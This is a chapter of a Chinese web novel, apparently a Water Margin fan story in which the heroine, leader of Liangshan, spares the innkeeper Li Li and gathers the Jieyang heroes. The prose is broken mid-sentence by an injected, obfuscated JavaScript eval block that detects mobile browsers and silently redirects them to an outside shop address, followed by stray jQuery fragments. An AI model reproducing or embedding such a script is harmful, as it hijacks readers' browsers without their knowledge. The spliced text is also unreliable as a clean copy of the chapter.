50. 恶霸

作品:《在水浒中做女帝

    李俊这一跪,童威、童猛面面相觑,却也不敢站着,都跟着跪了下去。


    扈昭盯着几人,没有说话。


    “小人不敢说李立以前不曾害人,也不敢替他辩白什么。但今日我敢拿自己身家性命作誓:从今往后,有我李俊在一日,这厮若再害一个无辜之人,我将自个儿与他的头颅一并奉予好汉!”


    李俊顿了顿,再补充道:“李立开这黑店,所得钱财,除我等挥霍,也常周济岭下贫苦人家。这事左近百姓皆知,故也时常替他引路。他手上虽有人命,却也有几分底线。若寨主肯饶他这回,日后但有差遣,我四人赴汤蹈火,在所不辞!”


    闻此言语,李立躺在凳上,热泪盈眶。


    武松在旁,也不由为李俊这等义气感动,叹了口气。


    他看向李俊,道:“兄弟可知你面前之人是谁?”


    李俊摇头:“实是泰山在前,我有眼不识,乞望兄长解惑。”


    武松从腰间解下一块木牌,抛了过去。


    李俊伸手接住,低头一看。


    正面一个潇洒的“扈”字,背面乃一轮明月挂在远山之巅。


    扈昭眼神也被那木牌吸引过去,这是甚么?哪里来的?


    武松见她好奇,笑道:“看哥哥无甚信物,便在阳谷县时无事刻了这东西。似这般时候,便也能派上用场,好亮出来让人立时知晓寨主身份。”


    扈昭感他有心,冲他一笑,做了个“谢二哥”的口型。


    武松见状,嘴亦咧得大了些。暗道自己后面完全可以多刻几个牌子,刻得更好些。或可打个金的,正趁金尊玉贵的扈兄弟……


    正好,自己上山时,寨主给了他两锭黄金。


    “梁山……照夜清?”李俊仔细看过,犹是不确定,惊疑问出。


    薛永此刻作为寨主出行的左膀右臂之一,理所当然站出去,挺了胸脯骄傲道:“千真万确,正是我梁山寨主!”


    又将自己与武松的名号也告知给了李俊。


    因扈昭某一次无意说出了个“行者”,武松现在虽非在逃头陀,便绰号也叫了“行者”。


    武松也曾问过她是何意,扈昭简单说了个孙悟空的故事,道他便如那齐天大圣一般,自由洒脱又能约束己身,嫉恶如仇惩恶扬善,终成斗战胜佛。


    武松遂欣然接受了此诨名。


    听闻“病大虫”薛永的介绍,李俊愣在当场。童威、童猛也一时呆住,心下不敢置信。


    这实在也太人不可貌相、深藏不露了些!


    半晌,李俊重重磕下头去:“原来是梁山扈寨主亲临!李某亦是有眼不识真神,冲撞了寨主,万死!”


    扈昭伸手扶他:“李兄长请起。”


    李俊却不肯起,只抬头道:“寨主容禀,李某方才所言,句句属实!李立这厮,本当罪该万死。但求寨主念在他尚有几分人性,饶他一命!李某愿率童威、童猛,并十几个江湖兄弟,一并投奔梁山,为寨主效犬马之劳!”


    童威、童猛齐声道:“愿随大哥!”


    扈昭看了看他们,又望向剥人凳上挣扎着要下来的李立。


    武松见扈昭示意,上前割断束缚李立的绳索。


    李立扑通一声滚下凳来,满脸血污,眼中泪光闪烁:“寨……寨主在上……小人亦……”


    扈昭摆摆手:“今后切记今日教训,否则纵我饶你,难保你他日不会落到更狠辣的人手中。需知人外有人,不是不报,时候未到。”


    李立手忙脚乱地裹上李俊扔给他的衣衫,跪在扈昭面前,额头抵地,浑身发抖,只顾连声应是。


    扈昭又道:“你这条命,是李俊用你二人的人头保下的。日后若再作恶,不必李俊动手,梁山多有取你性命之人,也多见处理恶徒的手段。”


    李立急急磕头,额头在地上砰砰响:“小人不敢!小人不敢!寨主活命之恩,小人没齿难忘!”


    扈昭点点头,又看向门外:“那个伙计,薛大哥去看看死了没有。”


    薛永出去探了探鼻息,回来道:“还有气,晕过去了。”


    “那便救醒罢。”


    薛永掐人中,泼凉水,折腾了好一阵,那伙计终于悠悠转醒。睁眼一看打他之人正在眼前,吓得魂飞魄散,复闭了眼睛装死,躺在地上久久不敢动弹。


    扈昭也不理会他,和武松、薛永三个,由童氏兄弟作陪,在院子里支了张桌子坐下说话。


    剩二李在里间,李俊看了看作坊里那些风干的人皮、残肢,叹道:“这些……让他们入土为安罢。”


    帮着李立将那些一并收拾齐整,拼拼凑凑,用棉布或草席包了,抱到后院。


    李立晃晃悠悠地跟着出去,使工具挖了几个深坑,便就地安葬,竖起一面无字石碑。两人一同跪地烧过纸钱,再好生磕头告罪一番。


    扈昭见他们面上功夫做得尚可,便道:“李俊,你这兄弟也并非无可救药。日后梁山之上,有他立功赎罪之处。”


    李俊深深一揖:“多谢寨主宽宏!”


    天色向晚,众人进到收拾整洁、焕然一新的店中。


    李立已换了一身干净衣衫,伤口也包扎妥当,见扈昭进来,又要下跪。


    扈昭抬手止住他,道:“不必多礼,我此来,除了会会你们,还有几件事要办。”


    李俊道:“寨主但可吩咐我等,小人门路算广,或可帮忙。”他正欲纳些投名状再上梁山。


    扈昭从怀中取出一张纸,递给李俊:“这是我梁山军师要寻的几样东西,李兄可有门路?”


    李俊接过细看,沉吟片刻,道:“硝石、火油,我正好与几个人相熟。其他的,一时却不可得,不过寨主放心,我定当尽力!”


    扈昭点点头:“有劳李兄。”


    李俊又道:“寨主此行,可是要去江州?”


    扈昭道:“正是,要往江州探望一位兄弟的家眷。”


    李俊主动道:“寨主若不嫌弃,让童威、童猛兄弟先行一步,去江州打点。他二人在浔阳江边长大,水性绝佳,对江州地面再熟悉不过。寨主要寻之人,交给他们探访,必能妥当。”


    童威、童猛抱拳道:“愿为寨主效劳!”


    他们既有此意,扈昭何能不允?这些人再怎样,却也言出必践,义气方面没有问题。


    便以水代酒,敬他二人:“如此多谢二位辛苦,你二人到了江州,先不急着露面,暗中访查保他们无恙便是。另有个浪里白条张顺的,你们近来可曾见过他?”


    童威一愣:“张顺?寨主认得他?”


    扈昭微微一笑:“尚不认得,但有你们,想是很快便能相识了。”神色中带出几分恨不早逢来。


    这时李俊过来,拱手坐下:“寨主既然要寻张顺,咱们何不直接去浔阳江上找他?他那哥哥船火儿张横,也是个豪杰,常在江上做些摆渡的营生。他兄弟二人,在这浔阳江上,皆是响当当的人物。”


    扈昭道:“正要去拜访他二位。”又问,“还有揭阳镇上那穆弘、穆春兄弟……”


    李俊道:“这穆家兄弟二人在镇上横行


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190806|194107||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,却也并非大恶之人,只是年轻气盛,爱充好汉,寨主要见否?”


    扈昭道:“路过宝地,岂能过门不入?明日烦请李兄引路,去镇上走一遭。”


    “寨主有命,李某自当陪同!”李俊答应下来。


    李立在一旁听了半晌,忽然小心插嘴道:“寨、寨主……小人有一事禀报。”


    扈昭看向他。


    李立却不敢直视她,垂眼说道:“今日小人一早,便让伙计去请几个兄弟来此相会,其中便有穆弘、穆春兄弟,还有张家二位。他们几个,约莫今晚便到。”


    扈昭眼睛一亮:“哦?”


    李立结巴道:“小人本是想着……想着请他们来喝酒分钱。不料……”他讪讪地低下头。


    武松闻此哈哈大笑:“你这厮倒会安排!哥哥,这下也是省事,也不需我等四处跑了!”


    只是不明白哥哥为何独独提到那张顺时,语气态度不同?想是一位了不得的豪杰罢。顿时也生起期待来。


    扈昭端起水杯敬一圈:“既如此,我便在此等候。今晚,倒是要会会这几位好汉。”


    李俊饮下一碗酒,再次保证:“寨主放心,有李某在,他们不敢造次。”


    心里却忖道:要偷偷告诉那几个,尤其是张横,万万莫将自己做的恶事吹嘘给寨主听。不然到时,他人头也不一定保得过来。


    毕竟这几个人连同他一道,有几个善的?都说为富不仁、无奸不商,自己这一伙儿人是这般,他们手下的冤魂也大多类似。


    世道如此,非善能存。


    当夜,李立这店里前所未有地热闹起来。


    先是穆弘、穆春兄弟到了。


    穆弘甫一露面,众人一望过去,便知他是养尊处优的公子哥儿,生的面如银盆,皮肤雪白。


    只是嗓门却大,进门便嚷:“判官!今日有什么好买卖,急着叫我们来?”


    话音未落,见店中坐着三个生面孔,不由一愣。


    李俊起身,引见道:“穆大郎,这位是梁山扈寨主。”


    穆弘脸色一变,上下打量扈昭,似是不信。


    武松站起身来,往穆弘眼前一站,那股凛然气势便压了过去:“怎了?”抓起他手,拍了木牌上去。


    穆弘当即肃然,表示深信不疑。


    穆春和他哥哥模样相差极大,简直是相反面,黑熊一般的脸和身材。只是年轻气盛,还要疑问,被穆弘一把按住。


    穆弘冲扈昭抱拳:“梁山威名,久仰久仰。只是不知扈寨主驾临揭阳,有何贵干?”


    扈昭起身道:“路过贵地,想结识几位好汉。穆大官人若是不愿,门在那边。”


    穆弘揭阳镇恶霸一个,最爱豪侠,哪有不愿意结识大寨首领的?立时拜下。


    穆春见哥哥拜了,自己当然跟从,他自小就是哥哥的跟屁虫。


    不多时,张横也到了。青箬笠、绿蓑衣的打扮,大步跨进来一愣:“李催命!今儿什么日子,这般热闹?”


    一眼又对武松感兴趣起来,“这位兄弟好身板!可会水?”


    武松请他坐下,自嘲道:“陆地上还能走几步,水里却是旱鸭子。”


    闻言,张横开怀而笑:“那倒是好处,赶明儿坐我的船,保管让你尝尝翻江倒海的滋味!”


    李俊咳嗽一声,止住他话头,忙又引见扈昭。


    张横同样先是不信,后又不得不信,向扈昭深施一礼。


    扈昭躬身还礼,心中却有些遗憾。


    张横来了,张顺呢?